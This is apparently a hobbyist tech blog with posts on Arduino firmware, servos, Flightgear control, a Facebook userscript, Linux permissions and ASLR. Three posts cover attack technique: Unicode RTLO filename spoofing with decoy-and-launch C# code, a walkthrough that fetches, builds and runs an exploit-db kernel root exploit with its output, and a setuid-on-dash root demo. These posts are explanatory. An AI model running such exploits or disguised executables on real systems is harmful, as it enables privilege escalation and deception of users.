Arduino Uno: Upload new firmware to the Atmega8U2

In the previous article it is described how to put Arduino Uno into DFU mode. To upload a new firmware the dfu-programmer is needed (Ubuntu users: sudo apt-get install dfu-programmer). Windows user can try FLIP software from Atmel. You can upload already compiled hex code from Arduino package or build it from sources (/usr/share/arduino/hardware/arduino/firmwares/arduino-usbserial/Arduino-usbserial-uno.hex or the latest one from github https://github.com/arduino/Arduino/raw/master/hardware/arduino/firmwares/arduino-usbserial/Arduino-usbserial-uno.hex). The steps are:

Put Uno into DFU mode,

sudo dfu-programmer at90usb82 erase

sudo dfu-programmer at90usb82 flash .../Arduino-usbserial-uno.hex

sudo dfu-programmer at90usb82 reset 

reconnect the USB cable.

The LUFA library is needed for building hex file from sources. Download the lib version 100807. Current sources doesn't compile with the latest LUFA(version 101122).

mkdir uno

cd uno

cp -r /usr/share/arduino/hardware/arduino/firmwares/arduino-usbserial ./

wget http://www.fourwalledcubicle.com/files/LUFA/LUFA-100807.zip

unzip LUFA-100807.zip

mv LUFA\ 100807/ LUFA

Fix the LUFA path in "arduino-usbserial/makefile":

     # Path to the LUFA library
     LUFA_PATH = ../..

change to
     # Path to the LUFA library
     LUFA_PATH = ../LUFA

make all

After the successful build the file "Arduino-usbserial.hex" is created. Now you can upload this hex file using above steps.

P.S. After the new firmware upload try to upload and run something using Arduino IDE(the Blink example), to make sure the "USB to Serial converter" firmware works fine.

That's all.

Arduino Uno

Arduino Uno is the latest version of the Arduino boards (next to the Duemilanove). The major difference from the previous board is in that it uses the Atmega8U2 micro-controller (instead of FTDI) for communicating with a computer. The Atmega8U2 is programmed as a USB to serial converter by default, but it can be programmed as any other USB devices (keyboard, mouse, joystick and etc...).

Arduino Uno

To upload a new firmware to the Atmega8U2, we need to reset the chip and put it into a DFU mode. There is a description in the Ardunio site how to do that. It can be done easily using 2 M/M jumper wires

M/M jumper wire

Instead of using ground pads(from the description in Arduino site), we can use Arduino's GND pins.
1)Connect Arduino Uno to the computer
2)Hold first wire as pictured in the below image.
3)Connect second wire.
4)Remove second wire then remove first.

Now your Arduino is in DFU mode

The Device manager (in windows 7)

To return to the USB to serial converter mode, just disconnect and connect Arduino.
The upload of a firmware will be in the next article.

Facebook: Sort people by number of mutual friends(with Chrome support).

The script from the previous article can be used in Chrome also. Just click on the view raw and then click continue

Now install the script as an extension:

Now go to Facaebook->Find Friends

If the button doesn't appear, then refresh the page by pressing F5 (The script has an issue and sometimes the button isn't added, the temporary solution is refreshing the page until the problem will be fixed).
That's all.

Flightgear and Tx/Rx system

In the previous article the Flightgear's aircraft controlled using external program and in another article the Tx/Rx system connected to computer using Arduino. Today we will use those knowledges to connect Tx/Rx to Flightgear. Download the project from github and do the following steps.
1)Copy protocol files from Protocol/ to C:\Program Files (x86)\FlightGear\data\Protocol\
2)Compile and upload Rxreader/Rxreader.pde to the Arduino.

3)Connect Receiver to the Arduino

4)Run the C# program and connect to the Arduino and click to calibrate (this determines min-max values). When min-max values determined, finish the calibration.

5)Run Flightgear with the following arguments.

"C:\Program Files (x86)\FlightGear\bin\Win32\fgfs" ^
 "--fg-root=C:\Program Files (x86)\FlightGear\data" ^
 "--aircraft=Malolo1" ^
 "--generic=socket,out,10,127.0.0.1,49001,udp,outputprotocol" ^
 "--generic=socket,in,10,,49000,udp,inputprotocol" ^
 "--timeofday=noon"

6) Connect to Arduino, and connect the input and the output to Flightgear.

 

7)Try do not crash the airplane :)

That's all.

executable jpg files

On the following screenshot there are 3 files with the same thumbnail picture. The file extensions aren't hided. Now can you guess the formats of those files?

The first and the second files are executable, while the third file is an icon file. But, you can say, the file with "jpg" extension is a picture not an executable. It is true. But the problem is that the extension of "imggoofyrcs.jpg" isn't "jpg". How is it possible? The cause of this is the Unicode symbol \u202E(Right-To-Left Override):

The executable can open a picture to deceive a user and do anything in the background. The following code demonstrate how to open a picture and run a "calc" program.

	using System;
	using System.Collections.Generic;
	using System.Linq;
	using System.Text;
	using System.IO;
	namespace ConsoleApplication1
	{
	class Program
	{
	static void Main(string[] args)
	{
	/*
	// Read the content of binary file
	BinaryReader bin =new BinaryReader(File.Open("C:\\img.jpg",FileMode.Open));
	byte[] bufr = new byte[10000];
	int size = bin.Read(bufr, 0, 10000);
	// Write to text file
	TextWriter tw = new StreamWriter("C:\\img.txt");
	tw.Write("{ ");
	for (int i = 0; i < size; ++i)
	{
	tw.Write(bufr[i]);
	tw.Write(", ");
	}
	tw.Write("} ");
	*/
	string filename = System.IO.Path.GetTempPath() + "aaa123321.jpg";
	BinaryWriter binw = new BinaryWriter(File.Open(filename,FileMode.Create));
	// Copy here the content of file image.txt
	byte[] bufw = { 255, 216, 255, 224, ... };
	binw.Write(bufw, 0, bufw.Length);
	binw.Close();
	System.Diagnostics.Process.Start(filename);
	//...
	System.Diagnostics.Process.Start("C:\\Windows\\system32\\calc.exe");
	}
	}
	}

view raw Program.cs hosted with ❤ by GitHub

Facebook: Sort people by number of mutual friends

The Facebook's Find-Friends page lists people, whom Facebook thinks we may know. There are some ways to filter people by hometown or college (and etc...), but it lacks the simple ability to sort people by the number of mutual friends. Using Firefox and Greasemonkey add-on and the following script it can be done easily.
Add new user script in the Greasemonkey:

Add new user script.

Fill up the following information:

Fill-up.

Then copy the following script and past it to the newly opened sortby.user.js file and save it.

	// ==UserScript==
	// @name SortBy
	// @namespace http://autosysprogs.blogspot.com/
	// @description Sort by most mutual friends
	// @include http://www.facebook.com/find-friends/*
	// @author Mkrtich Soghomonyan
	// ==/UserScript==
	window.addEventListener(
	'load',
	function() {
	// ----------------------------------------
	// ----------------------------------------
	// Add sort function
	var scriptElement = document.createElement('script');
	scriptElement.type = 'text/javascript';
	scriptElement.innerHTML ='function sortByNum(a, b) { return b.num - a.num; } \
	function sortPeopleByMostMutualFriends() { \
	var allDivs, thisDiv, firstDiv, changeDiv; \
	allDivs = document.evaluate("//div[@class=\'friendBrowserUnit\']", document, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null); \
	var people = new Array(); \
	for (var j = 0; j < allDivs.snapshotLength; j++) { \
	var mutual = allDivs.snapshotItem(j).innerHTML.replace(/([0-9]*) mutual friend.*/g, "===========$1").replace(/^.*===========/, ""); \
	if (!mutual.match(/^[0-9]*$/)) { mutual = 0; }\
	people.push({num: mutual, val: allDivs.snapshotItem(j).cloneNode(true)}); \
	} \
	people.sort(sortByNum); \
	var parent = new Array(); \
	for (var i = 0; i < allDivs.snapshotLength; i++) { \
	thisDiv = allDivs.snapshotItem(i); \
	changeDiv = document.getElementById(thisDiv.id); \
	if (changeDiv) { \
	parent.push(changeDiv.parentNode); \
	changeDiv.parentNode.removeChild(changeDiv); \
	} \
	} \
	for (var i = 0; i < allDivs.snapshotLength; i++) { \
	parent[i].appendChild(people[i].val);\
	} \
	}';
	document.getElementsByTagName("head")[0].appendChild(scriptElement);
	// ----------------------------------------
	// ----------------------------------------
	// Add sort button above the hometown check boxes.
	// Get the hometown table.
	var targetDiv = document.getElementById('checkboxes_hometown');
	if (null == targetDiv) {
	// Current page is different from find-friends page.
	return;
	}
	// Create a div to surround the sort button.
	var newDiv = document.createElement('div');
	newDiv.setAttribute('id', 'sortPeopleByMostMutualFriends');
	// Create the button and set its attributes.
	var sortButton = document.createElement('input');
	sortButton.name = 'sortButton';
	sortButton.type = 'button';
	sortButton.value = 'Sort by mutual friends';
	sortButton.setAttribute("onclick", "sortPeopleByMostMutualFriends();");
	// Append the button to the div.
	newDiv.appendChild(sortButton);
	// Append before hometown table.
	targetDiv.parentNode.insertBefore(newDiv, targetDiv);
	},
	true);

view raw sortby.user.js hosted with ❤ by GitHub

In the Facebook's Find Friends page now you can see a button near the hometown filter.
Click it and it will sort people by number of mutual friends.

That's all.

Arduino and Tx/Rx system

In the previous article the PWM signal was described, which used to control servo motors. Today we will use the following Transmitter/Receiver (Tx/Rx) and the Arduino to read PWM signals.

Tx/Rx manufactured by www.HobbyKing.com

The above Tx/Rx systems usually used for controlling airplanes, helicopters and other remote vehicles. This one has 6 channel, which means it can control 6 different motors (servos and other types).
In the following picture you can see 7 row of pins(6 channels + battery).

Receiver

This Tx/Rx system comes without any documentation, so the only way to get more information is to google the Internet. Actually I thought that the receiver gets it's power from the battery pins(I don't know why 3 pins) and generate appropriate PWM signals on all channels, but I discover the following:
If connect only(without battery connected) channel pins to appropriate Arduino pins(+5V to +5V, Gnd to Gnd, and Signal to digital port 2), then the receiver will work and on the signal pin it generates PWM signal, coming from transmitter. To read the signal, connect 2nd channel pins to Arduino appropriate pins(The 2nd channel corresponds to throttle). Connect signal pin to Arduino digital pin 2.

The Arduino has a PulseIn function, which can be used to read the PWM pulse width. The micros function returns the number of microseconds since the Arduino began running. Compile and upload the following code and run it then switch-on the transmitter.

	unsigned long duration;
	unsigned long time0;
	unsigned long time;
	void setup() {
	Serial.begin(9600);
	// signal pin
	pinMode(2, INPUT);
	//
	time0 = micros();
	}
	void loop() {
	//
	time = micros();
	// read pulse width
	// if there is no pulse during 50000 microseconds
	// then it returns 0
	duration = pulseIn(2, HIGH, 50000);
	//
	Serial.print("Time interval = ");
	Serial.print(time - time0, DEC);
	Serial.print(", Pulse width = ");
	Serial.println(duration, DEC);
	//
	time0 = time;
	}

view raw rxreader.pde hosted with ❤ by GitHub

Before switching on the transmitter, the time interval is about 100ms, which is equal to 50ms timeout time + Serial print times, and the pulse width is 0(no signal). When the transmitter switched-on, the pulse width is near to 1460us and time interval reduced to ~66ms, which now is equal to ~20ms period time + Serial print times.

Switching-on transmitter

And this is the screenshot of Serial output when the throttle is changed by moving joystick up and down.

Moving throttle joystick up/down

That's all.

Servo motors and PWM

In the previous article we use Arduino's Servo library to control servo motors. Today we will try to understand how Servo library works. The servo motors are controlled by digital PWM signals. Those signals are square waves with a period about 20-22ms. And the pulse width(usually ~0.5-2.5ms) is corresponds to the position of servo motor.
This a sample signal

There is another overloaded Servo.attach function (used to attach servo to the pin) with 3 arguments:

    servo.attach(pin, min, max) 

(min,max) are the pulse minimum and maximum widths in microseconds. Default values are 544us and 2400us(you can also check them in the <Arduino-dir>\libraries\Servo\Servo.h file, MIN_PULSE_WIDTH and MAX_PULSE_WIDTH macros). Most of hobby servo motors have those default values, but if your servo doesn't work, then you need to dig into the documentation to find out right values. This Servo library takes minimum 20ms for signal period: see <Arduino-dir>\libraries\Servo\Servo.h file:
    #define REFRESH_INTERVAL    20000 // minumim time to refresh servos in microseconds
That's all.

Flightgear: control aircraft externally

In the previous article the Flightgear program's some features were discussed. Today's topic will be about controlling aircraft through sockets from another program. There is a command line option "--generic" , which can be used for modifying items of property tree(see previous article, about http://localhost:1234).
Run the program with the following options.

	"C:\Program Files (x86)\FlightGear\bin\Win32\fgfs" ^
	"--fg-root=C:\Program Files (x86)\FlightGear\data" ^
	"--aircraft=Malolo1" ^
	"--generic=socket,out,10,127.0.0.1,49001,udp,outputprotocol" ^
	"--generic=socket,in,10,,49000,udp,inputprotocol"

view raw run.bat hosted with ❤ by GitHub

The first generic argument means: Use sockets, for sending data out, 10 times a second, to the 127.0.0.1 machine(this is localhost's ip address), using the port 49001, use UDP protocol, the actual data which sent out are described in file "outputprotocol".
The second generic argument means: Use sockets again, for getting data from out, 10 times a second, skip the ip address, using the port 49000, use UDP protocol again, the coming data described in the file "inputprotocol".
If the program hangs, this means you are using the Flightgear version 2.0.0, which has a known bug and you need to downgrade to the version 1.9.1. Now if the hanging is over, then the program must give an error(see console's screen), because "outputprotocol" and "inputprotocol" files doesn't exists.
The following is "inputprotocol.xml" file's content, which describes 3 values, that the program will wait for input(aileron, elevator and throttle).

	<?xml version="1.0"?>
	<PropertyList>
	<generic>
	<input>
	<line_separator>newline</line_separator>
	<var_separator>,</var_separator>
	<!-- Controls -->
	<chunk>
	<name>aileron</name>
	<type>float</type>
	<node>/controls/flight/aileron</node>
	<format>%f</format>
	</chunk>
	<chunk>
	<name>elevator</name>
	<type>float</type>
	<node>/controls/flight/elevator</node>
	<format>%f</format>
	</chunk>
	<chunk>
	<name>throttle</name>
	<type>float</type>
	<node>/controls/engines/engine/throttle</node>
	<format>%f</format>
	</chunk>
	</input>
	</generic>
	</PropertyList>

view raw inputprotocol.xml hosted with ❤ by GitHub

The following is "outputtprotocol.xml" file's content,which describes the same 3 values from input and plus one more (the speed of aircraft).

	<?xml version="1.0"?>
	<PropertyList>
	<generic>
	<output>
	<line_separator>newline</line_separator>
	<var_separator>,</var_separator>
	<!-- Get control values -->
	<chunk>
	<name>aileron</name>
	<type>float</type>
	<node>/controls/flight/aileron</node>
	<format>%f</format>
	</chunk>
	<chunk>
	<name>elevator</name>
	<type>float</type>
	<node>/controls/flight/elevator</node>
	<format>%f</format>
	</chunk>
	<chunk>
	<name>throttle</name>
	<type>float</type>
	<node>/controls/engines/engine/throttle</node>
	<format>%f</format>
	</chunk>
	<!-- Get aircraft speed -->
	<chunk>
	<name>airspeed-kt</name>
	<type>float</type>
	<format>%f</format>
	<node>/velocities/airspeed-kt</node>
	</chunk>
	</output>
	</generic>
	</PropertyList>

view raw outputprotocol.xml hosted with ❤ by GitHub

Now copy those files to the "C:\Program Files (x86)\FlightGear\data\Protocol" directory and run the program again. It will again give error(Error reading data), because no one send data to the input.
Now lets write a program in C#, which will send the input data to and receive output data from Flightgear. Add the controls to the main form as pictured in the screenshot:

We will use timer to send data in every 100ms(10 times in a second as described in the argument). This is sending part code: 

	...
	private UdpClient sending_UdpClient = new UdpClient();
	private void timer1_Tick(object sender, EventArgs e)
	{
	float throttle = throttle_trackBar.Value;
	throttle /= 10;
	throotle_textBox.Text = throttle.ToString();
	float elevator = elevator_trackBar.Value - 10;
	elevator /= 10;
	elevator_textBox.Text = elevator.ToString();
	float aileron = aileron_trackBar.Value - 10;
	aileron /= 10;
	aileron_textBox.Text = aileron.ToString();
	// add "," separators and new line at the end
	// as desribed in inputprotocol.xml
	String str = aileron.ToString() + "," + elevator.ToString()
	+ "," + throttle.ToString() + "\n";
	Byte[] sendBytes = Encoding.ASCII.GetBytes(str);
	sending_UdpClient.Send(sendBytes, sendBytes.Length, "127.0.0.1", 49000);
	}
	...

view raw send.cs hosted with ❤ by GitHub

We will use threads to asynchronously get data from Flightgear. This is it:

	...
	private Thread receive_thread = null;
	private void button1_Click(object sender, EventArgs e)
	{
	if (null != receive_thread)
	{
	receive_thread.Abort();
	}
	receive_thread = new Thread(receive_data);
	receive_thread.Start();
	}
	private UdpClient receiving_UdpClient = new UdpClient(49001);
	private void receive_data()
	{
	while (true)
	{
	IPEndPoint RemoteIpEndPoint = new IPEndPoint(IPAddress.Any, 0);
	Byte[] receiveBytes = receiving_UdpClient.Receive(ref RemoteIpEndPoint);
	string[] data = Encoding.ASCII.GetString(receiveBytes).Split(',');
	float aileron = float.Parse(data[0]);
	aileron_recv_textBox.Text = aileron.ToString();
	float elevator = float.Parse(data[1]);
	elevator_recv_textBox.Text = elevator.ToString();
	float throttle = float.Parse(data[2]);
	throttle_recv_textBox.Text = throttle.ToString();
	float airpeed = float.Parse(data[3]);
	airspeed_recv_textBox.Text = airpeed.ToString();
	Thread.Sleep(80);
	}
	}
	...

view raw receive.cs hosted with ❤ by GitHub

That's all.

Flightgear

Flightgear is open source flight simulator. It is weighted ~300MB for windows (relatively low compared to other simulators). It can be used not only for gaming. There are some R/C models, which can be used to practice on them. For example Malolo aircraft. Download and extract it to  C:\Program Files (x86)\FlightGear\data\Aircraft (Ubuntu: /usr/share/games/FlightGear/Aircraft/).
Then run the following from command line:
    "C:\Program Files (x86)\FlightGear\bin\Win32\fgfs" ^
        "--fg-root=C:\Program Files (x86)\FlightGear\data"  ^
        "--aircraft=Malolo1"
 or in Ubuntu
    fgfs --aircraft=Malolo1

Wait a minute, while the program finish loading, then you can drive the airplane using following keys.
    V                   : Change viewpoint
    Page-Up       : Increase throttle
    Page-Down  : Decrease throttle
    X                   : Zoom-in
    Shift-X          : Zoom-out
    Arrow keys   : Control elevator and aileron.
It is OK when you crash a plane just after a few seconds of flying :). Do some practice.

Flightgear has many useful features, and one of them is the ability to show the status of every components in the environment. Just run it adding the "--httpd=1234" argument and it creates a local web server. Navigating to http://localhost:1234 you can see a tree structure of all elements, which can be modified from browser also. For example start the program, change the viewpoint and navigate to http://localhost:1234/controls/engines/engine and click on throttle and change the value to 0.2.

Linux and SETUID (SETGID, Sticky bit)

Every file in Linux has read, write and execute rights for the owner, group and others. Besides those attributes there are 3 extra attributes setuid, setgid and sticky bit.
1) The setuid attribute is meaningful for executable files. If this bit is set then the user ID would be set as that of the owner of executable rather than the current user. For example the sudo tool owner is root and the setuid bit is set on, and when another user run this program, it will be executed as root. If set off the setuid attribute, then the sudo tool will not work, because it will run as a normal user without root permissions.

	$ which sudo
	/usr/bin/sudo
	$ cp /usr/bin/sudo ./ # copy sudo tool
	$ sudo chown root:root sudo #convert owner to root
	$ ll
	...
	-rwxr-xr-x 1 root root 147872 2011-03-31 19:50 sudo*
	$
	$ ./sudo echo 1 #this will give error
	sudo: must be setuid root
	$ sudo chmod u+s ./sudo
	$ ll #see added setuid attribute
	..
	-rwsr-xr-x 1 root root 147872 2011-03-31 19:50 sudo*
	$
	$ ./sudo echo 1 # try again
	1
	$ #it works.

view raw setuid.bash hosted with ❤ by GitHub

 2) Setgid attribute is the analog to setuid, but for group ID.

3) In Linux sticky bit is meaningful for directories only(in old *nix systems it had another meaning also). If this bit is enabled on directory then the files in that directory may only be deleted or renamed by root or by their owner.

	$ mkdir tmp
	$ sudo chown root:root tmp # change owner to root
	$ sudo chmod o+w tmp # add permission to other user to add files
	$
	$ sudo mkdir tmp/123 # create a directory owned by root
	$ sudo chmod 777 tmp/123 # give all permissions, so other user can remove it.
	$ rm -r tmp/123 # remove it without any problem.
	$
	$ sudo mkdir tmp/123 # create a directory owned by root again
	$ sudo chmod 777 tmp/123 # give all permissions, so other user can remove it.
	$ sudo chmod +t tmp # set on sticky bit
	$ rm -r tmp/123/ # try to remove it.
	rm: cannot remove `tmp/123': Operation not permitted
	$

view raw sticky bit.sh hosted with ❤ by GitHub

One more sample related to setuid

	$ echo -e "#"\!"/bin/dash\nwhoami" | sudo tee a.sh # create a script
	#!/bin/dash
	whoami
	$ sudo chmod +x a.sh # add executable flag
	$ ll # see root is the owner
	...
	-rwxr-xr-x 1 root root 19 2011-03-31 20:32 a.sh*
	$
	$ ./a.sh # it will print my username
	<my user name>
	$ sudo chmod +s a.sh # set on setuid
	$ ./a.sh # surprisingly it prints my username again.
	<my user name>
	$ # the cause of above behavior is that,
	$ # the a.sh isn't executable actually,
	$ # the /bin/dash with a.sh argument is called,
	$ # so we need to add +s to /bin/dash
	$ sudo chmod +s /bin/dash # set on setuid
	$ ./a.sh # now it gives root
	root
	$
	$ sudo rm -rf * # remove all
	$ echo -e "#"\!"/bin/dash\nwhoami" > a.sh # create a script
	$ chmod +x ./a.sh # add executable flag
	$ ll # now I am the owner
	-rwxr-xr-x 1 <user name> <group name> 19 2011-03-31 20:30 a.sh
	$
	$ ./a.sh # it gives root again, because of setuid of /bin/dash
	root
	$
	$ # At last, don't forget to bring back the attributes of dash
	$ sudo chmod -s /bin/dash
	$

view raw setuid2.bash hosted with ❤ by GitHub

Arduino and Servo motors

Arduino has a Servo library which allows to control servo motors. Today we will use the following small servo motor and write a program, which read a angle value from Serial port and rotate servo motor according to it.

This is the source code of program

	#include <Servo.h>
	// make sure the pin has PWM capability
	const int servo_pin = 11;
	Servo myservo;
	void setup()
	{
	Serial.begin(9600);
	myservo.attach(servo_pin);
	}
	void loop()
	{
	while (0 < Serial.available())
	{
	int pos = 0;
	// Read number from Serial port
	int b = -1;
	while (-1 != (b = Serial.read()))
	{
	if (b > '9' || b < '0')
	{
	pos = 0;
	Serial.println("Invalid number");
	break;
	}
	pos = 10 * pos + (b - '0');
	}
	// Check is number in [0,180)
	if ((0 <= pos) && (pos < 180)) {
	Serial.println(pos, DEC);
	myservo.write(pos);
	} else {
	Serial.println("Enter number in [0,180)");
	}
	}
	delay(100);
	}

view raw servo.pde hosted with ❤ by GitHub

Compile and upload above code to Arduino, then connect control pin(gray wire) of Servo motor to Arduino pin 11, connect black wire to Gnd of Arduino and red wire to +5V. This is how it looks:

And this is a video demonstration of moving Servo 0 -> 90 -> 180 -> 0 -> 90:

Security bug in Ubuntu 10.10

Yes, Ubuntu also has security bugs. But this one can be used in the last steps of attacking. There are some requirements for this code to work. Attacker need to find a vulnerability in a process and run a shellcode and if that executable has CAP_SYS_ADMIN capability, then using this bug it can get root privileges.

To run this exploit download source from http://www.exploit-db.com/download/15944 and do the following steps:

	$ wget http://www.exploit-db.com/download/15944
	$ mv 15944 15944.c
	$ gcc 15944.c -o exe # ignore warnings(if any)
	$ # For more info search CAP_SYS_ADMIN in /usr/include/linux/capability.h
	$ # Unfortunately, we need root privileges here
	$ sudo setcap cap_sys_admin+ep ./exe
	$ whoami
	<your username (different from root)>
	$ ./exe
	[*] Testing Phonet support and CAP_SYS_ADMIN...
	[*] Resolving kernel symbols...
	[+] Resolved proto_tab to 0xffffffffa019e290
	[+] Resolved local_port_range to 0xffffffffa019e1a0
	[+] Resolved pn_proto to 0xffffffffa019dfa0
	[+] Resolved commit_creds to 0xffffffff81086890
	[+] Resolved prepare_kernel_cred to 0xffffffff81086d60
	[*] Preparing fake structures...
	[*] Copying Structures.
	[*] Underflowing with offset -30
	[*] Elevating privlidges...
	[*] This was a triumph... I'm making a note here, huge success.
	# whoami #Checking if we success.
	root
	#

view raw exploit.sh hosted with ❤ by GitHub

How many G my car can pull?

In the previous article we study how to work with ADXL335 accelerometer. Today we will use it to measure car's acceleration. This is a sample program which get the values from sensor and send them through serial port to the computer. It measures every 20ms and do it 1000 times.

	const int xpin = 0;
	const int ypin = 1;
	const int zpin = 2;
	const int measue_count = 1000;
	void setup()
	{
	Serial.begin(9600);
	}
	void loop()
	{
	//wait for input
	while(0 == Serial.available());
	Serial.read();
	Serial.println("Start");
	for (int i=0; i < measue_count; ++i)
	{
	Serial.print(i);
	Serial.print("\t"); Serial.print(analogRead(xpin));
	Serial.print("\t"); Serial.print(analogRead(ypin));
	Serial.print("\t"); Serial.print(analogRead(zpin));
	Serial.println();
	delay(20);
	}
	Serial.println("End");
	}

view raw ADXL335.pde hosted with ❤ by GitHub

Now lets connect ADXL335 to the Arduino and then compile and upload the above code.

Sensor placed in such way that Z axis is directed to front of car.(You can see it in the picture, on top of red box).

I run the program, type something and press enter in the Serial Monitor and then drive as fast as possible and then brake the car. Copy the values to the Google Docs Spreadsheet and create a chart for the values of Z axis (in which direction the acceleration occurs). But before creating charts lets understand how those numbers map to the real acceleration values in g. The Z axis can be directed downward and measure value (+1g), then direct it upward and measure again(-1g) and taking account that the measured values dependance on acceleration is linear, calculate which value correspond to 0g and which interval correspond to 1g interval. I get following results (approximate results)
    0g --  355
    1g interval -- 70 interval
The measured values also contain a lot of noise, so we need to filter out them.

This is unfiltered chart: Z_i


This is filtered and converted to G chart: ((Z_i + Z_i+1) /2 - 355) / 70


This is filtered(another filter) and converted to G chart: ((Z_i + Z_i+1 + Z_i+2) / 3  - 355) / 705

In the above chart you can see the shift of gear from 1 to 2 and then brake. After car stops and acceleration is 0.

ASLR and Linux personality syscall

In the previous article we talk about ASLR and how to disable it. There was a way to disable ASLR for a single process using setarch command. Now we are going to understand how setarch command do that. Lets use strace command to trace all system calls of setarch command with and without -R option

	$ strace -o 1 setarch x86_64 -R ls
	1 2 a.out aslr.c
	$ strace -o 2 setarch x86_64 ls
	1 2 a.out aslr.c
	$ diff 1 2
	...
	a lot of differences
	...

view raw shell.personality.1.log hosted with ❤ by GitHub

There are a lot of differences, because of the ASLR: In the log there are a lot memory addresses and they will be different. Now lets disable it for all processes and then do above steps again to filter out memory differences.

	$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
	$ strace -o 1 setarch x86_64 -R ls
	1 2 a.out aslr.c
	$ strace -o 2 setarch x86_64 ls
	1 2 a.out aslr.c
	$ diff 1 2
	1c1
	< execve("/usr/bin/setarch", ["setarch", "x86_64", "-R", "ls"], [/* 38 vars */]) = 0
	---
	> execve("/usr/bin/setarch", ["setarch", "x86_64", "ls"], [/* 38 vars */]) = 0
	33c33
	< personality(0x40000 /* PER_??? */) = 0
	---
	> personality(PER_LINUX) = 0
	123c123
	< set_tid_address(0x7ffff7fdaa70) = 4718
	---
	> set_tid_address(0x7ffff7fdaa70) = 4720
	$

view raw shell.personality.2.log hosted with ❤ by GitHub

Now we see that there is a system call named personality. It is difficult to understand from the man personality what this syscall actually do. So we can get a information from include file of personality syscall(in case of Ubuntu 10.10 it located at /usr/include/sys/personality.h). Here it is:
There is enum ADDR_NO_RANDOMIZE equal to 0x0040000 which passed in as an argument in personality in above difference logs. So we understand that we can disable the process's ASLR by calling personality syscall with ADDR_NO_RANDOMIZE argument. Lets modify the program from previous article and check is this works.

	#include <stdio.h> // printf
	#include <string.h> // strerror
	#include <errno.h> // errno
	#include <unistd.h> // execl
	#include <sys/ptrace.h> // ptrace
	#include <sys/user.h> // user_regs_struct
	#include <sys/personality.h> // personality
	int
	main() {
	// create a child process
	int pid = fork();
	// if error occurs
	if (0 > pid) {
	printf("Error during forking: %s\n", strerror(errno));
	return 1;
	}
	// child process
	if (0 == pid) {
	ptrace(PTRACE_TRACEME, 0, 0, 0);
	personality(ADDR_NO_RANDOMIZE);
	execl("/bin/ls", "ls", NULL);
	}
	// parent process
	int status;
	struct user_regs_struct regs;
	wait(&status);
	while(1407 == status) {
	// get registers
	if (0 != ptrace(PTRACE_GETREGS, pid, 0, &regs))
	printf("Error during ptrace: %s\n", strerror(errno));
	// if the syscall is close(for example)
	// wait so we can get memory maps.
	if (3 == regs.orig_rax) {
	// This scanf is for waiting for input,
	// while we cat /proc/pid/maps
	// to see if it differs from
	// previous /proc/pid/maps
	scanf("1");
	}
	// lets the child to continue his work until next sys call or sys exit
	if (0 != ptrace(PTRACE_SYSCALL, pid, 0, 0) != 0)
	printf("Error during ptrace: %s\n", strerror(errno));
	wait(&status);
	}
	return 0;
	}

view raw aslr.c hosted with ❤ by GitHub

Enable ASLR by echo 2 | sudo tee /proc/sys/kernel/randomize_va_space. Run above code twice and when they wait for input, dump the memory maps (get pid from htop and then cat /proc/pid/maps) and compare them: it works, the maps are the same. You can also comment out the line containing personality and get different memory maps.

Address space layout randomization (ASLR)

ASLR is a technique which randomly arranges the libraries, heap, stack and other pages in the memory in random positions. This technique designed for standing against security attacks. If the ASLR is disabled, the memory addresses of libraries and the stack are predefined, so the vulnerable codes(shellcodes) can use these information and directly call library functions. To check if the ASLR is enabled in the system we can run some program twice and compare memory maps.

	$ cat /proc/self/maps > 1
	$ cat /proc/self/maps > 2
	$ diff 1 2
	4,18c4,18
	< 00ebe000-00edf000 rw-p 00000000 00:00 0 [heap]
	< 7f4b0954e000-7f4b097f2000 r--p 00000000 08:01 786578 /usr/lib/locale/locale-archive
	< 7f4b097f2000-7f4b0996c000 r-xp 00000000 08:01 133953 /lib/libc-2.12.1.so
	< 7f4b0996c000-7f4b09b6b000 ---p 0017a000 08:01 133953 /lib/libc-2.12.1.so
	< 7f4b09b6b000-7f4b09b6f000 r--p 00179000 08:01 133953 /lib/libc-2.12.1.so
	< 7f4b09b6f000-7f4b09b70000 rw-p 0017d000 08:01 133953 /lib/libc-2.12.1.so
	< 7f4b09b70000-7f4b09b75000 rw-p 00000000 00:00 0
	< 7f4b09b75000-7f4b09b95000 r-xp 00000000 08:01 133961 /lib/ld-2.12.1.so
	< 7f4b09d76000-7f4b09d79000 rw-p 00000000 00:00 0
	< 7f4b09d93000-7f4b09d95000 rw-p 00000000 00:00 0
	< 7f4b09d95000-7f4b09d96000 r--p 00020000 08:01 133961 /lib/ld-2.12.1.so
	< 7f4b09d96000-7f4b09d97000 rw-p 00021000 08:01 133961 /lib/ld-2.12.1.so
	< 7f4b09d97000-7f4b09d98000 rw-p 00000000 00:00 0
	< 7fffbfc4c000-7fffbfc6d000 rw-p 00000000 00:00 0 [stack]
	< 7fffbfd17000-7fffbfd18000 r-xp 00000000 00:00 0 [vdso]
	---
	> 012cb000-012ec000 rw-p 00000000 00:00 0 [heap]
	> 7f6c9170e000-7f6c919b2000 r--p 00000000 08:01 786578 /usr/lib/locale/locale-archive
	> 7f6c919b2000-7f6c91b2c000 r-xp 00000000 08:01 133953 /lib/libc-2.12.1.so
	> 7f6c91b2c000-7f6c91d2b000 ---p 0017a000 08:01 133953 /lib/libc-2.12.1.so
	> 7f6c91d2b000-7f6c91d2f000 r--p 00179000 08:01 133953 /lib/libc-2.12.1.so
	> 7f6c91d2f000-7f6c91d30000 rw-p 0017d000 08:01 133953 /lib/libc-2.12.1.so
	> 7f6c91d30000-7f6c91d35000 rw-p 00000000 00:00 0
	> 7f6c91d35000-7f6c91d55000 r-xp 00000000 08:01 133961 /lib/ld-2.12.1.so
	> 7f6c91f36000-7f6c91f39000 rw-p 00000000 00:00 0
	> 7f6c91f53000-7f6c91f55000 rw-p 00000000 00:00 0
	> 7f6c91f55000-7f6c91f56000 r--p 00020000 08:01 133961 /lib/ld-2.12.1.so
	> 7f6c91f56000-7f6c91f57000 rw-p 00021000 08:01 133961 /lib/ld-2.12.1.so
	> 7f6c91f57000-7f6c91f58000 rw-p 00000000 00:00 0
	> 7fffd43fb000-7fffd441c000 rw-p 00000000 00:00 0 [stack]
	> 7fffd4501000-7fffd4502000 r-xp 00000000 00:00 0 [vdso]
	$

view raw shell.log hosted with ❤ by GitHub

The memory positions are different, that means the ASLR is enabled. From the debugging point of view it sometimes distrurbs and we need to disable it. There are 2 ways(known to me) to disable ASLR.
1) Disable ASLR using setarch command

	$ # x86_64 is machine's architecture type, \
	$ # a mandatory parameter of setarch command.
